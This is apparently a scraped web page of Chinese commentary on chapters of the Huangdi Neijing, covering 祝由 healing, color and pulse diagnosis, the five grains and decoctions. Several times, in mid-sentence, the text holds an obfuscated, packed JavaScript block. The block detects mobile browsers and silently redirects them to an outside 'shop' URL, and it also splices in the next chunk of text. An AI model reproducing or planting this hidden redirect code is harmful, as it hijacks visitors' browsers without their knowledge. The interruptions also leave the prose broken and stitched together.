;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428643|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饮食情志，内伤类的疾病治疗，这类疾病易用药物，所以药物的疗法是从西方起源的。 北方地区地形较高，这确实对其自然气候产生了显着的影响，使得气候特点与冬天的闭藏气象颇为相似。 我们要明确什么是“闭藏气象”。在中国传统文化中，冬季被视为“闭藏”之季，意味着万物收藏、生机内蕴。这种气象特征表现为气温低、降水少、空气干燥、风力较强等。 北方地区由于地形较高，尤其是山地和高原地区，海拔的升高导致气温逐渐降低。这种低温环境使得北方地区的冬季特别漫长且寒冷。同时，高海拔地区的大气压力较低，空气稀薄，这进一步加剧了寒冷感。 除了低温，北方地区的冬季还常常伴随着干燥的气候。由于降水量较少，空气湿度低，人们常常会感到皮肤干燥、嘴唇干裂等不适感。此外，干燥的气候还容易引发呼吸道疾病和静电现象。 另外，北方地区在冬季还常常受到强风的影响。由于地形和气压系统的相互作用，北方地区的风力较大，尤其是山口和峡谷等狭窄地带，风速更是惊人。这种强风天气不仅加剧了寒冷感，还可能导致风雪交加、道路结冰等不利条件。 那时的人们依山林居住，长期处在风寒冰冽的环境中，喜好游牧生活，并且因此内脏易受寒，而导致的胀满疾病，中医认为这是由于寒气侵袭，导致气血不畅，脏腑功能失调所致。针对这种情况，艾火炙灼的治疗方法应运而生。艾火炙灼，简称艾灸，是中医传统疗法之一，通过将艾条点燃后，对特定穴位进行热刺激，以达到温通经络、散寒除湿、行气活血的目的。 这章没有结束，请点击下一页继续阅读！ 第11章 《移精变气论》 《移精变气论》其核心理念在于通过转移病人的精神状态和改变其气血运行的紊乱状态，以达到治疗疾病的目的。以下是对《移精变气论》的简要介绍： 一、背景与目的 《移精变气论》创作于战国时期，旨在探讨通过心理疗法来调节病人的精神状态，并改善其气血运行的紊乱，从而达到治疗疾病的目的。这一理念强调了在治疗过程中，不仅要关注病人的身体状况，更要关注其精神状态，体现了古代医学对心理疗法和整体观念的重视。 二、移精变气的概念 “移精”指的是转移病人的精神活动，包括调整病人的情绪、思维等；“变气”则是改变其气血运行的状态，使之恢复正常的生理秩序。这一方法强调通过调节精神活动来改善气血运行，从而达到治疗疾病的目的。 三、治疗方法 《移精变气论》提出了多种治疗方法，包括“祝由”等心理疗法。祝由是古代的一种治疗方法，医者根据疾病的不同情况，采用特定的言辞和仪式来转移病人的精神，从而协助祛除邪气。然而，祝由只能治疗一些简单的、不严重或纯属心理上的疾病，对于大多数疾病或严重的疾病，仍需结合其他治疗方法。 四、疾病与治疗的关系 《移精变气论》还深入探讨了不同历史条件、生活环境以及精神活动对疾病的影响。指出由于历史条件、生活环境的变化以及精神活动的差异，疾病的情况也随之而异。因此，在治疗过程中需要根据病人的具体情况制定个性化的治疗方案。 五、诊察色脉的重要性 《移精变气论》还强调了诊察色脉在疾病诊断中的重要性。通过观察病人的气色和脉象，可以了解其身体状况，为治疗提供依据。同时，也强调了神的得失在疾病痊愈或死亡中的关键作用，即病人的精神状态对疾病预后有着重要影响。 六、总结 《移精变气论》体现了古代医学对于心理疗法和整体观念的重视，为后世中医的发展提供了宝贵的启示。在现代医学中，这一理念仍然具有重要的参考价值，提醒我们在治疗疾病时要关注病人的整体状况，包括其精神、心理等方面。同时，也强调了个性化治疗的重要性，需要根据病人的具体情况制定治疗方案。 七、现代应用与启示 尽管《移精变气论》的论述是基于古代医学的背景和知识体系，但其核心思想在现代医学中仍然具有广泛的应用和启示。 首先，它强调了心理疗法在疾病治疗中的重要性。现代医学已经充分认识到心理疗法在治疗抑郁症、焦虑症、睡眠障碍等心理疾病方面的有效性，并开始尝试将心理疗法与其他治疗手段相结合，以提高整体治疗效果。 其次，《移精变气论》也强调了整体观念在疾病治疗中的应用。现代医学正逐渐从单纯的生物医学模式向生物-心理-社会医学模式转变，重视疾病与社会、心理等因素的相互作用。在治疗疾病时，不仅要关注病人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428644|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体状况，还要关注其心理、社会等方面的因素，以实现全面、综合的治疗。 此外，《移精变气论》还提醒我们，在治疗疾病时要注重个性化治疗。每个病人的具体情况都是不同的，需要根据其年龄、性别、病情等因素制定个性化的治疗方案。这不仅有助于提高治疗效果，还可以避免不必要的副作用和风险。 八、实践中的挑战与应对 然而，将《移精变气论》的思想应用于现代医学实践中也面临着一些挑战。首先，心理疗法和整体观念在医学教育中的普及程度还不够高，需要进一步加强相关教育和培训。其次，心理疗法和整体观念的实施需要一定的时间和资源投入，需要医疗机构和医生共同努力。最后，由于心理疗法和整体观念的效果受到多种因素的影响，因此需要建立科学的评估体系来监测治疗效果。 为了应对这些挑战，我们可以采取以下措施：一是加强医学教育和培训，提高医生对心理疗法和整体观念的认识和应用能力；二是鼓励医疗机构加大对心理疗法和整体观念的投入和支持；三是建立科学的评估体系来监测治疗效果，为临床实践提供有力支持。 九、结语 《移精变气论》作为《黄帝内经》中的重要篇章之一，其思想对于现代医学的发展具有重要的启示和借鉴意义。我们应该积极挖掘和传承古代医学的精华部分，并结合现代科技和实践经验不断创新和完善现代医学体系，以更好地服务于人类的健康事业。 第11章 （1）揭秘祝由法：古老神秘的祈福之术 首关于古时候治病的方法，存在一种被称为“祝由”的治疗方式，它主要是通过调控病人的精神状态和情绪来改变气机的运行，从而达到治疗疾病的目的。这种方法在中医的某些流派中有所体现，它强调的是“心身同治”的理念，即认为疾病不仅仅是生理上的病变，还与心理、情绪等因素密切相关。 那我们现在详细阐述一下祝由法。 祝由法，这一古老而神秘的治疗方法，源自中医和道教的深厚传统，是中华医学宝库中的一颗璀璨明珠。下面我将从多个方面详细阐述祝由法。 一、祝由法的起源与发展 祝由法最早可追溯到上古时期，与巫术同源，主要用来医治心理不健全所致之症。随着历史的演进，到唐宋时期，“巫”与“医”逐渐分离，祝由法成为中医体系中的独立一科。在明代太医院，祝由术甚至被列为医术十三科之一，足见其重要地位。 二、祝由法的基本原理 祝由法的基本原理是运用咒语、符箓和特殊手法来调动天地间的灵气，以达到治疗疾病、驱邪避邪的目的。其中，咒语被认为具有强大的神秘力量，可以呼唤神灵或自然力量的帮助；符箓则是一种神秘的符号，具有驱邪避邪、祈求平安的作用；而特殊的手法如按摩、拍打等则用于调动患者体内的气血，实现治疗效果。 三、祝由法的实践应用 祝由法在实践中的应用广泛而深入。一方面，它可以通过调整人的心理状态、情绪和精神状态来影响身体健康状况，实现心理治疗的效果；另一方面，它也可以结合药物治疗、物理疗法等手段，从多个角度对疾病进行干预。例如，在某些案例中，祝由师通过祝由法为患者调理身体，不仅缓解了患者的症状，还提高了患者的整体健康水平。 四、祝由法的现代意义 尽管祝由法在现代医学体系中并不占据主流地位，但其独特的理论体系和治疗方法仍然具有一定的现代意义。首先，祝由法强调“心身同治”的理念，与现代医学中的心理治疗和生物-心理-社会医学模式相契合；其次，祝由法中的一些手法和理念也被现代医学所借鉴，如按摩、拍打等手法在中医推拿中得到了广泛应用；最后，祝由法对于提高患者的心理素质、增强身体抵抗力等方面也具有积极作用。 总之，祝由法是一种独特而神秘的治疗方法，它源自中医和道教的深厚传统，具有悠久的历史和丰富的理论基础。在现代社会中，我们应该以开放和包容的态度来对待祝由法，并结合现代医学的理论和技术手段来探索其更广泛的应用价值。 我们会发现现在的人很多疾病难以治疗，我们来分析一下古时候的人们和现在的人们。 古时候人们的生活方式确实简单而直接，他们与大自然紧密相连，顺应自然的变化来生活。他们居住在巢穴中，与禽兽为伴，这种生活状态让他们对自然有了更深刻的理解和感知。 在寒冷季节，他们通过活动身体来驱寒，这既是一种生存技能，也是一种与自然和谐共处的方式。在暑热季节，他们则寻找阴凉之地避暑，以保持身体的舒适和健康。 在精神层面，古时候的人们追求的是内心的平静和淡泊。他们没有过多的欲望和眷恋，也没有奔波劳碌的疲惫和焦虑。这种精神状态让他们能够保持一种内心的平衡和和谐，有利于身体的健康和疾病的预防。 所以用祝由的方法就可以治疗疾病”，这确实是中医中一种独特的治疗理念。祝由是一种通过调节病人的心理状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428645|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态和情绪，来影响和改善身体机能的治疗方法。它强调的是通过调整病人的内心状态，来达到治疗疾病的目的。 然而，需要注意的是，虽然祝由方法在某些情况下可能有效，但它并不是万能的。在现代医学中，我们仍然需要借助药物、手术等多种手段来治疗疾病。同时，我们也不能忽视生活方式、环境等因素对身体健康的影响。 现代人的生活节奏快，压力大，内忧外患之下，往往忽视了身体的健康与自然的和谐。与古时候的人们相比，我们可能更难以顺应四时气候的变化，因此容易遭受虚邪贼风的侵袭。 从中医的角度来看，正气是人体内的抵抗力，当正气充沛时，人体能够抵御外邪的侵袭；而当正气不足时，外邪便会乘虚而入，侵入人体内部，导致疾病的发生。如果邪气深入五脏骨髓，就会影响到人体的根本，导致病情严重；如果邪气在外伤害五官肌肤，虽然看似较轻，但也会给人体带来不适和损害。 为了保持身体的健康，我们需要注重以下几点： 1. 顺应自然：尽量按照四时气候的变化来调整自己的生活方式，比如夏天避免过度贪凉，冬天注意保暖等。 2. 保持正气：通过合理的饮食、适量的运动、充足的休息等方式来增强体内的正气，提高抵抗力。 3. 避免外邪侵袭：注意个人卫生，避免与病源接触，减少外邪的侵袭机会。 4. 调理情志：保持心态的平和与愉悦，避免过度忧虑和劳累，有利于身体的健康。 总之，保持身体的健康需要我们注重与自然的和谐、增强体内的正气、避免外邪的侵袭 以及调理情志。只有这样，我们才能在现代社会中保持健康的身心状态。 第11章 （2）古今医术交锋：上古、中古、后世医生治病理念大碰撞 关于“诊法、上色、和脉的诊查方法”被上古帝王所看重，确实体现了古代医学在社会中的重要地位。在古代，医学知识被视为一种珍贵的财富，能够保障人民的健康和国家的稳定。而“诊法、上色、和脉”的诊查方法，作为中医诊断学的基础，自然受到了上古帝王的重视。 我们说下“上古僦贷季”这位名医，这位名医在古代医学史上有着举足轻重的地位。 这位名医对望色和切脉的道理进行了深入的研究，并能够将之与金木水火土五行以及四方六合的宇宙观相联系，这确实体现了中医理论的博大精深。 为了能让大家更深刻的理解我把五行四方六合的关系在详细说下。 金木水火土五行与四方六合的宇宙观，是中国古代哲学体系中的两个重要概念，它们之间存在着紧密的联系和相互的对应关系。 五行理论是中国古代哲学的重要组成部分，它认为宇宙万物都是由金、木、水、火、土五种基本元素所构成，并且这些元素之间存在着相生相克的关系。这种相生相克的关系，不仅体现了宇宙万物之间的相互联系和相互作用，也反映了宇宙间的一种动态平衡和循环往复的规律。 而四方六合的宇宙观，则是将宇宙空间划分为东、南、西、北四个方向和上下两个维度，形成了一个立体的宇宙模型。在这个模型中，每个方向都对应着一种五行元素，例如东方对应木，南方对应火，西方对应金，北方对应水，而中央则对应土。同时，每个方向也对应着一种动物和一种神灵，如东方青龙、南方朱雀、西方白虎、北方玄武，中央则为黄龙或麒麟。 将五行与四方六合相联系，可以进一步理解宇宙间的相互联系和相互作用。例如，木代表生长和扩张，与东方的日出和春季相对应；火代表炎热和光明，与南方的夏季和烈日相对应；金代表收敛和坚固，与西方的日落和秋季相对应；水代表寒冷和流动，与北方的冬季和冰雪相对应；而土则代表稳定和中庸，与中央的平稳和调和相对应。 此外，五行与四方六合的对应关系还可以用于解释人体健康和命运等方面的问题。在中医理论中，五行与人体脏腑、经络等相对应，通过调节五行元素的平衡来达到治疗疾病的目的。同时，在命理学中，五行与人的出生年份、性格、命运等也存在着一定的对应关系。 刚才我们说完了四方五行和六合的宇宙观，那么我们继续说僦贷季的诊法。 望色和切脉是两种重要的诊断方法。望色主要是通过观察病人的面色、舌苔等外部表现来判断病情；而切脉则是通过感受病人的脉象来了解其气血运行情况。这两种方法都需要医者具备敏锐的洞察力和丰富的临床经验，才能准确地判断病情。 而这位名医能够将望色和切脉与五行、四方六合相联系，更是将中医理论提升到了一个新的高度。五行理论是中医理论中的基础之一，它将宇宙万物归纳为金、木、水、火、土五种基本元素，并认为这些元素之间存在着相生相克的关系。而四方六合则是将宇宙空间划分为东、南、西、北四个方向和上下两个维度，形成了一个立体的宇宙模型。 这位名医通过将望色和切脉与五行、四方六合相联系，不仅能够更好地理解病情的本质和变化规律，还能够从更广阔的视角来审视疾病的发生和发展。这种综合分析和观察的能力，正是中医理论所强调的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428646|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “整体观念”和“辨证论治”的核心。 我们在中医的学习诊疗实践中，要弄懂疾病的要领，需要深入研究人的气色和脉息。这两者，如同天地间的日月，有其独特的运行规律和表现形式，而掌握这些规律，是诊断疾病的关键。 我们来说说气色。气色是反映人体内部健康状况的重要外在表现。它如同太阳一般，有阴有晴，变化多端。健康的人，气色通常红润而有光泽，这是因为他们的气血充足，脏腑功能正常。而患病的人，由于气血的紊乱和脏腑功能的失调，气色往往会出现异常。例如，面色苍白可能是气血不足的表现，面色潮红则可能是体内有热的表现。因此，通过观察病人的气色，我们可以初步判断其体内的阴阳气血状况，为进一步的诊断提供重要的线索。 我们再来说说脉息。脉息是中医诊断中的重要手段之一，它如同月亮一般，有盈有亏，变化无常。通过切脉，我们可以了解病人的气血运行情况、脏腑功能的强弱以及疾病的虚实寒热等。正常的脉象通常表现为平和而有力，而异常的脉象则可能表现为沉迟、浮数、紧涩等不同形态。这些脉象的变化，都反映了病人体内气血、阴阳、脏腑等的变化情况。因此，掌握脉息的要领，对于诊断疾病具有重要意义。 这里边谈到的沉迟、浮数、紧涩这是切脉所了解到的脉象，以后我们会在伤寒论中会给大家解读。 我要说明是，从气色和脉息中得到其要领，并不是一件简单的事情。这需要医者具备深厚的医学功底和丰富的临床经验，通过长期的实践和学习，才能逐渐掌握其中的精髓。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第11章 （3）为何色诊脉诊如此重要？问诊的艺术与科学 《黄帝内经》作为中医的经典之作，对于临证诊治的重要性有着深入而独特的阐述。其中，色诊和脉诊作为中医诊断的重要手段，被赋予了极高的地位。关于临证诊治的重要道理，其核心在于不要在色诊和脉诊上出错，使用色诊法不被疾病假象所迷惑，这确实是临症诊治的重要原则。 我们要理解色诊和脉诊在中医诊断中的地位。色诊，通过观察患者面部或其他部位的颜色变化，来推断患者体内的气血状况、脏腑功能等。而脉诊，则是通过触摸患者的脉搏，感受其跳动的情况，从而判断患者的病情。这两种方法都是中医诊断的重要手段，具有极高的准确性和实用性。 然而，在实际的临证诊治过程中，由于疾病的复杂性和多样性，有时会出现一些假象，使得色诊和脉诊的结果与实际情况出现偏差。这时，医生就需要具备深厚的中医理论知识和丰富的临床经验，能够准确地辨别出这些假象，不被其所迷惑。 具体而言，在使用色诊法时，医生需要仔细观察患者面部的颜色变化，结合其病史、症状、舌象等其他信息，进行综合分析。同时，还需要注意排除因环境、情绪等因素对颜色的影响，以确保诊断的准确性。在脉诊方面，医生需要熟练掌握各种脉象的特点和变化规律，能够准确地感受到患者脉搏的跳动情况，并结合其他信息进行综合分析。 总之，《黄帝内经》关于临证诊治的重要道理强调了色诊和脉诊的重要性，并提出了不要被疾病假象所迷惑的要求。这不仅是中医诊断的基本原则之一，也是医生在临床实践中需要时刻铭记的重要原则。只有具备了深厚的中医理论知识和丰富的临床经验，医生才能够在临证诊治中准确地把握病情，为患者提供有效的治疗方案。 病情顺逆的判断在中医治疗中极为关键，它关系到治疗的方向和效果。如果医生对病情的顺逆判断失误，再加上病人不配合治疗，那么确实可能导致病人的神气消亡，身体受到严重损害。这种情况不仅是对病人生命的威胁，更是对医生医术的严峻考验。 “丢掉鄙陋的旧知识，努力学习忘色和诊脉的新学问”，这是一个富有启示性的建议。在医学领域，随着科技的进步和研究的深入，新的理论和方法不断涌现，而一些旧有的观念和方法可能已经不再适用。因此，医生需要保持开放的心态，勇于接受新知识，不断提高自己的医术水平。 然而，要达到上古真人的地步，这不仅仅是对医术的要求，更是对医生品格和修养的期望。上古真人，是中医理论中的一个理想境界，代表着医术的至高无上和精神修养的深厚。要达到这个地步，医生不仅要有高超的医术，更要有高尚的医德和深厚的文化底蕴。 因此，我认为当世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428647|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的医生应该积极进取，不断学习新知识，提高自己的医术水平。同时，也要注重医德修养，以病人为中心，全心全意为病人服务。只有这样，才能逐渐接近上古真人的境地，为人类的健康事业作出更大的贡献。 医生在诊治疾病的过程中，与病人的接触和沟通是至关重要的一环。选择一个安静的环境，关好门窗，是为了给病人创造一个安全、私密的空间，让他们能够放松下来，与医生建立亲近融洽的关系。 在这种氛围下，医生细致地问询病情，不仅要让病人感受到医生的关心和专业，更要让病人毫无顾虑，畅所欲言。这样，医生才能从病人的描述中得知真实的病情，为后续的诊断和治疗提供有力的依据。 除了问询病情，观察病人的神色也是中医诊断的重要手段之一。病人的神色能够反映出他们的精神状态和身体状况。如果病人神色振奋，那么通常预示着预后良好，病情有可能得到控制和改善。相反，如果病人神色失常，如表现出紧张、焦虑、忧郁等情绪，那么则可能意味着预后不良，病情有可能进一步恶化。 因此，作为医生，在与病人接触和沟通的过程中，一定要注重细节，不仅要听病人的描述，还要观察病人的神色和体态，从而更全面地了解病人的病情和身体状况。只有这样，才能为病人提供更加准确、有效的诊断和治疗。 第12章 汤液醪澧论 首先，我们来探讨一下《汤液醪醴论》这部古代中医典籍的精髓。 一、背景与成书年代 《汤液醪醴论》作为《黄帝内经》的第十四篇，成书于东汉年间。这部典籍不仅详细阐述了汤液醪醴的制备和用途，还通过古今对比，揭示了疾病发生、病谱增加与“生物——心理——社会”因素的密切联系。这体现了古代医学家对于疾病与社会环境、人类心理之间相互关系的深刻认识。 二、汤液与醪醴的制备与用途 1. 制备：汤液和醪醴均是用稻米五谷制成，用以治疗疾病的两种剂型。其中，清稀液薄的称为汤液，稠浊甘甜的称为醪醴。制备时，必须采用稻米作为原料，以稻杆为燃料，这是因为稻米之气完备，稻杆坚劲，符合古代医学对于药物原料和制备方法的严格要求。 2. 用途：汤液和醪醴在古代医学中占据重要地位。它们不仅作为治疗疾病的手段，还反映了古代医学对于疾病治疗方法的多样性。特别是在中古代，随着生态环境的改变和生活习惯的变化，疾病增多，汤液醪醴作为药物的应用也更为广泛。 三、医学思想 《汤液醪醴论》还体现了古代医学家的医学思想。其中，“形弊血尽，而功不立”强调了“神机”对治疗的重要性，即在治疗过程中需要关注患者的精神状态和心理素质。此外，“标本不得，邪气不服”及“病为本，工为标”的理论则正确认识了医患关系，强调了医生在治疗过程中的主导地位和患者的配合作用。 四、现代意义 虽然《汤液醪醴论》是一部古代医学典籍，但其思想和实践经验对于现代医学仍具有一定的启示意义。例如，对于疾病的治疗，现代医学也需要关注患者的心理状态和社会环境等因素，以实现全面治疗。同时，汤液醪醴的制备和应用也为我们提供了宝贵的传统医学资源，值得进一步挖掘和研究。 五、汤液醪醴与中医养生 在《汤液醪醴论》中，除了阐述其治疗疾病的功效外，还蕴含了深厚的中医养生思想。古人认为，汤液醪醴不仅仅是一种药物，更是一种养生佳品。它们通过调和人体内的阴阳五行，达到预防疾病、延年益寿的目的。 在现代社会，随着生活节奏的加快和环境污染的加剧，人们的身体健康面临诸多挑战。而汤液醪醴的养生思想为我们提供了一种独特的养生方式。通过适量饮用由稻米等天然食材制作的汤液醪醴，我们可以调和体内的气血阴阳，增强身体的抵抗力，从而达到预防疾病、保健养生的目的。 六、汤液醪醴与现代医学的结合 虽然汤液醪醴作为传统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428648|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医学的瑰宝，具有独特的优势和价值，但在现代医学高度发达的今天，如何将其与现代医学相结合，发挥更大的作用，是我们需要思考的问题。 一方面，我们可以借鉴汤液醪醴的制备方法和养生思想，将其与现代医学的制药技术和营养学相结合，开发出更多具有保健和治疗作用的新型药物和食品。另一方面，我们也可以将汤液醪醴的治疗方法和养生理念与现代医学的治疗和康复手段相结合，为患者提供更加全面、个性化的治疗方案。 七、汤液醪醴的文化价值 除了医学和养生价值外，《汤液醪醴论》还具有重要的文化价值。它作为中国古代医学文化的重要组成部分，不仅反映了古代人民对生命和健康的探索与追求，也体现了中华民族独特的文化传统和医学智慧。 在今天，我们仍然可以从《汤液醪醴论》中汲取智慧和力量，传承和弘扬中华民族优秀的医学文化。同时，我们也应该加强对传统医学文化的研究和保护，让更多的人了解和认识这一宝贵的文化遗产。 综上所述，《汤液醪醴论》作为一部具有深厚内涵的古代医学典籍，不仅为我们提供了丰富的医学知识和养生思想，还具有重要的文化价值。我们应该珍视这一宝贵的文化遗产，不断挖掘其潜力，让其在现代社会中发挥更大的作用。 第12章 （1）汤液醪澧大揭秘：制作方法与健康养生之道 关于黄帝询问如何使用五谷来制作汤液及醪澧，岐伯的回答涉及到了古代对五谷（一般指稻、黍、稷、麦、菽）的认识和应用，以及特定材料的选择原则。 关于稻、黍、稷、麦、菽这五谷由我来解说一下。它们在中国古代社会占据了非常重要的地位，不仅是人们的主食来源，还承载了丰富的文化内涵。下面，我将逐一为您介绍这五谷的特点和用途。 首先是稻，即我们常说的稻谷，是亚洲地区广泛种植的粮食作物之一。稻谷经过加工后，可以得到我们日常食用的大米。大米富含蛋白质、碳水化合物和多种维生素，是提供人体所需能量的重要食物。 黍，黍子是一种古老的粮食作物，又被称为黄米或糜子。黍子的米粒较小，颜色偏黄，口感独特。在古代，黍子常用于酿酒和制作糕点等食品。 稷，稷在古代通常指的是粟，也就是我们现在所说的谷子。谷子耐旱、耐瘠薄，适应性很强，因此在古代中国北方地区被广泛种植。谷子的米粒较小，颜色偏黄，营养价值高，是北方人民的重要主食之一。 麦，麦分为小麦、大麦、燕麦等多种。其中，小麦是最常见的麦类作物，广泛用于制作面粉、面包、饼干等食品。小麦的蛋白质含量高，营养价值丰富，是人类重要的粮食来源之一。 最后是菽，菽是豆类的总称，包括大豆、小豆、绿豆等。豆类作物富含蛋白质、脂肪和多种矿物质，营养价值高。在古代，豆类作物常与其他谷物搭配食用，以提高营养价值。同时，豆类还具有清热解毒、利尿消肿等功效，是中医常用的食疗材料。 这五谷在中国古代社会中扮演了重要的角色，它们不仅是人们的主食来源，还承载了丰富的文化内涵和历史传承。在现代社会，虽然人们的饮食选择更加多样化，但这五谷依然是我们重要的粮食来源之一，值得我们珍惜和传承。 岐伯提到使用稻米作为原料。稻米作为五谷之一，其性质平和，营养丰富，是制作汤液和醪澧的理想选择。在古代，稻米被广泛用于烹饪和酿酒，其味甘、性微寒，能补中益气、健脾和胃，因此特别适合用来制作汤液，以滋养身体。 岐伯建议使用稻秆作为燃料。这是因为稻秆质地坚实，燃烧稳定，能够持续提供热量，使烹饪过程更加均匀和可控。此外，稻秆作为稻米的副产品，其本身就与稻米有着紧密的联系，使用稻秆作为燃料也体现了古人对资源利用的智慧。 从岐伯的回答中，我们可以看到古代对五谷的深刻认识和巧妙应用。他们不仅了解各种五谷的特性和功效，还能够根据实际需要选择合适的材料和方法，以达到最佳的烹饪和养生效果。这种对食材和烹饪方法的细致研究，体现了古人对健康和生活的关注和追求。 当然，在现代社会，我们已经有了更加丰富的食材和烹饪技术，但在追求健康和美味的道路上，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428649|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍然可以从古人的智慧中汲取灵感和启示。 黄帝所问“为什么这么说？”背后其实是对岐伯关于稻谷特性描述的深究。岐伯的回答，不仅是对稻谷生长环境的描述，更是对稻谷为何具有完备德气的一种解释。 岐伯提到稻谷“秉承天地的和气”。这里所说的“和气”，可以理解为天地间的阴阳平衡、五行调和之气。稻谷在生长过程中，能够吸收并融合这些天地间的和气，因此其内在的品质和能量也更为完备。 岐伯说稻谷“生长在高低适宜的地方”。这指的是稻谷的生长环境需要适宜，既不能过高导致寒冷，也不能过低导致湿热。在这样的环境下，稻谷能够得到最适宜的生长条件，从而展现出最佳的生长状态。 再者，岐伯提到稻谷“收割在秋季”。秋季是万物成熟、收获的季节，稻谷在此时收割，正是顺应了自然规律，得到了最充分的成熟和积累。这样的稻谷，其品质和能量都达到了最佳状态。 岐伯说“所以稻秆最坚实”。这是因为稻谷在生长过程中，得到了天地和气的滋养，生长环境适宜，又在最适当的季节收割，因此其稻秆也最为坚实。这种坚实不仅体现在物理层面，更体现在稻谷内在的品质和能量上。 岐伯的回答是对稻谷生长环境和生长过程的深入解析，从而解释了稻谷为何具有完备德气的原因。这也体现了古人对自然规律和农作物生长的深刻认识和理解。 第12章 （2）汤液醪澧：上古、中古与现代，应用大揭秘 黄帝所提及的上古时代，医术与文明尚未高度发展，但已有了对于健康、疾病和治疗的初步认识。在这个时期，汤液和醪澧（这里我们可以理解为一种经过发酵的饮品）的制作，更多地是出于生活的需要，而非专门为医疗而设。 首汤液和醪澧在上古时期很可能是一种珍贵的资源。在那个时代，食物的获取并不容易，而经过发酵处理的饮品，不仅可以延长食物的保质期，还可以增加其营养价值，对于身体健康有一定的益处。因此，这些饮品很可能被视为一种珍贵的资源，被用于祭祀和宴请宾客，以表达敬意和热情。 从文化角度来看，上古时代的祭祀和宴请活动具有重要的社会意义。这些活动不仅是人们交流感情、增进友谊的场合，也是展示社会地位、表达宗教信仰的重要方式。因此，将珍贵的汤液和醪澧用于这些活动，既符合当时的文化传统，也体现了人们对于健康、生命和宗教信仰的尊重。 岐伯作为古代医学的杰出代表，他的见解往往深邃而富有智慧。他说自古医术高明的医生制作汤液醪醴，其实是一种预防措施，用以应对可能发生的健康问题。这是因为在上古时期，人们生活在一个相对和谐、自然的环境中，身心状态大多康泰，疾病相对较少。 在那个时代，汤液醪醴虽然制作好了，但人们并不常常使用，原因主要有二：一是疾病发生率低，大多数人都能保持健康；二是这些饮品在当时是珍贵的资源，人们更倾向于将其用于祭祀、宴请等重要场合，以彰显其尊贵与珍贵。 